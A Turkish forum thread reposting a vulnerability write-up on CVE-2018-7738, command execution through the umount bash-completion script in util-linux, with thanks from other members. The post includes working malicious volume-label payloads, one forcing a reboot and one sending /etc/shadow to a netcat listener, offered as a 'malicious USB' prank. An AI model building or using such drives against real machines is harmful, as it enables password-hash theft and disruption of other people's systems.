THT DUYURU

chat
Siber Güvenlik Siber Güvenlik ile alakalı araçların kullanımı, bilgi paylaşımı ve siber güvenlik eğitimi ile ilgili kaynakların paylaşıldığı alanımızdır.

ugursuz reklam
takipci
Seçenekler

CVE-2018–7738: bash-completion Üzerinden Malicious Command Execution Zafiyeti

'Taipan - ait Kullanıcı Resmi (Avatar)
İstihbaratçı
Üyelik tarihi:
06/2015
Mesajlar:
3.854
Konular:
87
Teşekkür (Etti):
903
Teşekkür (Aldı):
1393
Ticaret:
(0) %
9
5140
02-10-2018 22:25
#1

- USB belleğin ismini değiştirerek bir nevi oynarken garip bir şeylerin olduğunu fark ettim. Buna sebep olan şey ise sürücü ismi olarak “ID” değerini vermem ve sürücüyü umount etmek istediğimde şunu görmemdi:
+ USB belleğin ismini değiştirerek bir nevi ismiyle oynarken garip bir şeylerin olduğunu fark ettim. Buna sebep olan şey ise sürücü ismi olarak “ID” değerini vermem ve sürücüyü umount etmek istediğimde şunu görmemdi:

-
Kod:
$ umount /dev/s<tab>ID: command not found
+
Kod:
$ umount /dev/s<tab>ID: command not found
Burada bir şeyler belli ki yanlış gidiyordu. Bir deneme daha yaptıktan sonra geçerli cihazların listesini bastırmak istediğimde girdiğim komutun çalıştırıldığını fark ettim.
-
Kod:
$ sed -n 44,45p /usr/share/bash-completion/completions/umount
+	
Kod:
$ sed -n 44,45p /usr/share/bash-completion/completions/umount
 	DEVS_MPOINTS="$(mount | awk '{print $1, $3}')"
-	COMPREPLY=( $(compgen -W "$DEVS_MPOINTS" -- $cur) )
+ COMPREPLY=( $(compgen -W "$DEVS_MPOINTS" -- $cur) )
OS’da gezinirken umount için kullanılan bash-completion betiğinin 44. satırında betiğin ‘’ ya da $() içeren sürücü isimlerini çalıştırmak için bu karakterleri de içeren değerleri kabul ettiğini gördüm.

Bu problem elbette ki yeni bir problem değildi. Sene başında bundan daha ciddi olan, sürücü takıldığında çalıştırılmak üzere komutları kabul eden, KDE’yi etkileyen bir açık yayınlanmıştı.
-
Kod:
https://www.kde.org/info/security/advisory-20180208-2.txt
+
Kod:
https://www.kde.org/info/security/advisory-20180208-2.txt
Etkilenen Versiyon: Ubuntu 18.04

Şunu da belirtmekte fayda var util-linux 2.31 bash-completion mount/umount betiklerini kullanan herhangi bir dağıtımda da bu zaafiyet görülebilir.

Keşif Ortamı: Ubuntu 18.04’de USB bellek isimleri ve tipleri ile denemeler yaparken keşfedildi.


Zafiyet İle Egzersizler:

Ben bu açığı geçersiz bir komutu denerken buldum çünkü kullandığım araç varsayılan olarak büyük harf kullanımını içeren DOS standardına dayanarak FAT32 bir bölüm oluşturdu fakat siz mkfs.fat aracını kullanırsanız araç size büyük harf kullanmaya yönelik bir dayatmada bulunmaz.
-
Kod:
$ sudo mkfs.fat -I -n '`id`' /dev/sdb1
+
Kod:
$ sudo mkfs.fat -I -n '`id`' /dev/sdb1
Eğer bu açığı kullanarak biraz eğlenmek istersek FAT32 birimlerin isimleri 11 karakter ile sınırlı olduğundan NTFS gibi başka bir dosya sistemine ihtiyacımız olacak. Sürücüyü mount ve umount ederken muhtemelen kullanıcı sudo bilgilerini de cacheleyecek bu da bize ofiste şaka amaçlı kullanmak için bir USB bellek oluşturma fırsatını verecek. Bunun için şu komutu uçbirimimizde çalıştıralım:
-
Kod:
$ sudo mkfs.ntfs -f -L '`IFS=,;a=sudo,reboot;\$a`' /dev/sdb1
+
Kod:
$ sudo mkfs.ntfs -f -L '`IFS=,;a=sudo,reboot;\$a`' /dev/sdb1
Bu komut biraz eğlenmek için bize yeterli olacaktır ama gelin daha ilginç bir şeyler yapalım. Örneğin kendi zararlı USB belleğimizi oluşturalım. Bunun için şu komutu uçbirimimizde çalıştıralım:
-
Kod:
$ sudo mkfs.ntfs -f -L '`IFS=,;sudo,cat,/etc/shadow,|,nc,127.0.0.1,31337;\$a`' /dev/sdb1
+
Kod:
$ sudo mkfs.ntfs -f -L '`IFS=,;sudo,cat,/etc/shadow,|,nc,127.0.0.1,31337;\$a`' /dev/sdb1
Daha sonrasında da başka bir uçbirimde bu komutu çalıştıralım:
-
Kod:
$ nc -l 127.0.0.1 31337
+
Kod:
$ nc -l 127.0.0.1 31337
Bu komut ile local ağımızı dinlemeye alıyoruz. Sonrasında USB belleğimizi bilgisayarımıza takalım ve umount komutumuzu girelim. Eğer öncesinde uçbiriminizde sudo bilgilerinizi cachlemişseniz etc/shadow dosyanızın içeriğinin nc ile dinlediğimiz uçbirimde gösterildiğini ve sisteminizin sıkıntılı bir durum olmamış gibi hiçbir bildirim vermediğini görmelisiniz.

Triaj:

Normalde Ubuntu Bionic git repo’sunda bulunan umount bash-completion betiği ile github repo’sunda bulunan betiklerden birisi sisteminizdeki betik ile eşleşir fakat bu dosyalardan herhangi birisi bendeki dosya ile eşleşmiyor. Bunun sebebini ararken bu betiklerin artık mount ve umount için olan, özelleşmiş fonksiyonlara sahip sistem araçlarının bash-completion betiklerinden değil de util-linux paketi tarafından sağlanan bash-completion betiklerinden alındığını öğrendim.

Ubuntu 18.04 için olan util-linux paket listesine bakıldığında 2.31 versiyonunun zafiyete sebep olan kodları içerdiği görülüyor. Bu sürüm ilk olarak 2013’de piyasaya sunuldu ve zafiyet sebebi bir sonraki sürüm olan 2.32’de zafiyetin kaynağı giderilmiş gibi gözüküyor.

Bu sıkıntı ile ilgili olan hata raporunda bu durumun bir güvenlik sorunu olarak değil de fonksiyonun işlevselliğinin bozulması olarak not düşülmesi ise bu hatanın güvenlikle ilgili bir taramada değil de diğer ek taramalarda bulunduğunu gösteren ilginç bir durum. Bunu destekleyen bir diğer olay ise zafiyetle ilgili yamanın zafiyet sebebinin keşfinden 4 ay sonrasında yayınlanmış olması çünkü eğer bu durum güvenliğe yönelik taramada keşfedilseydi yama muhtemelen daha kısa sürede yayınlanırdı.




Bu zafiyet sebebi aslında ilk olarak 5 yıl önce util-linux’un 2.24-rc1 versiyonunda görüldü fakat bu sırada Ubuntu’da mount ve umount için util-linux betikleri kullanılmıyordu ve 18.04 sürümüne kadar util-linux’daki zafiyet kaynağı Ubuntu için bir sorun teşkil etmiyordu ancak 18.04 sürümünde util-linux’un bahsedilen versiyonunun kullanılması Ubuntu’yu da zafiyetin etkilediği sistemler arasına soktu. Ubuntu’nun ileride gelecek olan 18.10 Cosmic sürümünde util-linux’un 2.32 versiyonunun kullanılması bekleniyor. Muhtemelen bu durum gerçekleştiğinde zafiyet de giderilmiş olacak.

Util-linux mount/umount bash-completion betiğinin 2.23 ve 2.31 versiyonları dahil olmak üzere aradaki versiyonlarda da zafiyete sebep olan bu kodların bulunduğunu ve bunları kullanan sistemlerde de bu zafiyetin olduğunu unutmayınız. Ben sadece Ubuntu 18.04 üzerinde çalışma gerçekleştirdim.

Benzer Diğer Zafiyet Kaynakları:


Eğer bu durum mount/umount için olan bir bash-completion betiğinde varsa neden diğerlerinde de olmasın ki? Bu neden sonuç ilişkisine dayanarak $ karakterinin gömülü olduğu betikleri ararken araştırmaya değer iki tane aracın betiğine denk geldim. Bu araçlarımız ise hcitool ve iwconfig.

hcitool:

Bazı yüzeysel deneylerden sonra hcitool (diğer hci ailesi araçları da) aracının aynı durum söz konusu olmasına rağmen sömürülebilecek bir açığa neden olmadığını deneyimledim.
-
Kod:
$ head -n9 /usr/share/bash-completion/completions/hcitool
+	
Kod:
$ head -n9 /usr/share/bash-completion/completions/hcitool
 	# bash completion for bluez utils -*- shell-script -*-

_bluetooth_addresses()
{
if [[ -n ${COMP_BLUETOOTH_SCAN:-} ]]; then
COMPREPLY+=( $( compgen -W "$( hcitool scan | \
awk '/^\t/{print $1}' )" -- "$cur" ) )
fi
-	}
+ }
Bu betik awk komutunun çıktılarını “” içine gömmekle neredeyse aynı işlevi görür fakat sadece çıktıdaki ilk sütunu aldığı için “” kısmı cihaz tarafından çalıştırılabilir bir işleme tabi tutulmuyor.

iwconfig:

Bu araçtaki durum da maalesef hcitool ile aynı yani sömürülebilir bir zafiyete neden olmuyor fakat sonuçları hcitool’a göre daha ilgi çekici.

ESSID için olan completion stringlerinin bir listesini oluşturmak amacıyla aşağıdaki teknik mükemmel bir şekilde işlemeliydi fakat bu işlem COMP_IWLIST_SCAN değeri tanımlanmadığı için işe yaramadı. Bu değeri tanımlayabilmek için de maalesef bir şey bulamadım.
-
Kod:
$ sed -n 14,22p /usr/share/bash-completion/completions/iwconfig
+	
Kod:
$ sed -n 14,22p /usr/share/bash-completion/completions/iwconfig
 	essid)
COMPREPLY=( $( compgen -W 'on off any' -- "$cur" ) )
if [[ -n ${COMP_IWLIST_SCAN:-} ]]; then
COMPREPLY+=( $( compgen -W \
"$( iwlist ${words[1]} scan | \
awk -F'\"' '/ESSID/ {print $2}' )" -- "$cur" ) )
fi
return
-	;;
+ ;;
Anladığım kadarıyla bu özellik hiçbir zaman istenilen şekilde çalışmadı. Eğer bu durum hiçbir zaman düzeltilmediyse belki SSID’lere malicious stringler ile beraber bir değer girerek code execution işlemi gerçekleştirmesini sağlayacak özel bir koşul yazılabilir.

Süreç:

13.04.2013 umount kaynaklı hata util-linux’da sunuldu.
31.03.2016 umount kaynaklı hata Ubuntu’da sunuldu.
16.11.2017 umount kaynaklı hata util-linux reposundan giderildi.
06.03.2018 CVE-2018–7738 yayınlandı.
21.03.2018 hatanın giderildiği util-linux 2.32 versiyonu yayınlandı.
22.08.2018 Triaj başladı.
11.09.2018 Triaj tamamlandı.
14.09.2018 Bu triaj yazısı yayınlandı.

Okuduğunuz için teşekkür ederim. Umarım faydalı bir yazı olmuştur. Ağ güvenliği serimizin beşinci yazısıyla görüşmek üzere.

Kaynak: https://medium.com/three-arrows-security/
---------------------
Man In The Middle

#Kalbimizdesin Solo-Türk


Konu THE HACKER 21 tarafından (20-02-2020 01:10 Saat 01:10 ) değiştirilmiştir.
NFK02, Hichigo, kenzai, ch_arli41, MwTugi, R3DBULL Teşekkür etti.
deli siber - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
12/2017
Nereden:
Virüs Total
Mesajlar:
855
Konular:
54
Teşekkür (Etti):
72
Teşekkür (Aldı):
166
Ticaret:
(0) %
02-10-2018 22:26
#2
Emek var elerinize sağlık hocam
---------------------
▂▃▅▆▇██ ☾✯☾✯☾✯ DELİ SİBER ☾✯☾✯☾✯ ██▇▆▅▃▂▂

███▓ ☾✯ ▓███___________BEN VAZGEÇTİM SIRA SİZDE_________███▓ ☾✯ ▓███


███▓ ☾✯ ▓███ NE MUTLU TÜRKÜM DİYENE ███▓ ☾✯ ▓███

SeNZeRo - ait Kullanıcı Resmi (Avatar)
Green Team Lideri
Üyelik tarihi:
09/2016
Mesajlar:
5.082
Konular:
476
Teşekkür (Etti):
103
Teşekkür (Aldı):
1717
Ticaret:
(0) %
02-10-2018 22:35
#3
Eline emeğine sağlık. Çok iyi konu.
Blacksancak - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
09/2018
Nereden:
Türkistan
Mesajlar:
587
Konular:
51
Teşekkür (Etti):
222
Teşekkür (Aldı):
91
Ticaret:
(0) %
02-10-2018 23:12
#4
Başarılarınız daim olsun inşallah hocam.Konu için teşekkürler
--------------------- Oku!’ emrini, ‘dipIoma aI!’ diye anIamış oImanın bedeIini, çok ağır ödüyoruz!
oldnco - ait Kullanıcı Resmi (Avatar)
Yardımsever
Üyelik tarihi:
09/2017
Yaş:
30
Mesajlar:
1.529
Konular:
43
Teşekkür (Etti):
637
Teşekkür (Aldı):
368
Ticaret:
(0) %
02-10-2018 23:26
#5
Emeğinize sağlık komutanım
--------------------- 💫 Alles wird sehr schön werden
ATABÖRÜ - ait Kullanıcı Resmi (Avatar)
Hevesli Üye
Üyelik tarihi:
07/2017
Nereden:
Ötüken
Yaş:
83
Mesajlar:
3.366
Konular:
303
Teşekkür (Etti):
934
Teşekkür (Aldı):
894
Ticaret:
(0) %
03-10-2018 20:56
#6
Ellerine emeğine sağlık hocam konularınız çok güzel (:
---------------------
Ey Türk milleti! Kendine dön! Sen yükseltmiş Bilge Kağan'ına, hür ve müstakil ülkene karşı hata ettin, kötü duruma düşürdün. Milletin adı, sanı yok olmasın diye Türk milleti için gece uyumadım, gündüz oturmadım. Kardeşim Kül Tegin ve iki şad ile ölesiye bitesiye çalıştım.
ch_arli41 - ait Kullanıcı Resmi (Avatar)
Red Team Lideri
Üyelik tarihi:
07/2009
Mesajlar:
1.029
Konular:
79
Teşekkür (Etti):
751
Teşekkür (Aldı):
768
Ticaret:
(0) %
03-10-2018 21:21
#7
Eline sağlık güzel konu.
---------------------
Hichigo - ait Kullanıcı Resmi (Avatar)
Geliştirici
Üyelik tarihi:
08/2015
Nereden:
GODZILLA
Mesajlar:
1.137
Konular:
157
Teşekkür (Etti):
686
Teşekkür (Aldı):
706
Ticaret:
(0) %
03-10-2018 21:49
#8
Eline sağlık güzel konu!
theokeleS - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
05/2018
Mesajlar:
1.358
Konular:
31
Teşekkür (Etti):
68
Teşekkür (Aldı):
354
Ticaret:
(0) %
03-10-2018 21:54
#9
Kısa ve güzel konu olmuş elinize sağlık
x00T - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2017
Mesajlar:
30
Konular:
14
Teşekkür (Etti):
8
Teşekkür (Aldı):
6
Ticaret:
(0) %
03-12-2018 15:33
#10
Ceviri size mi ait bilmiyorum ama guzel bir turkce dokuman olmus
--------------------- Stay Unsatisfied!

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler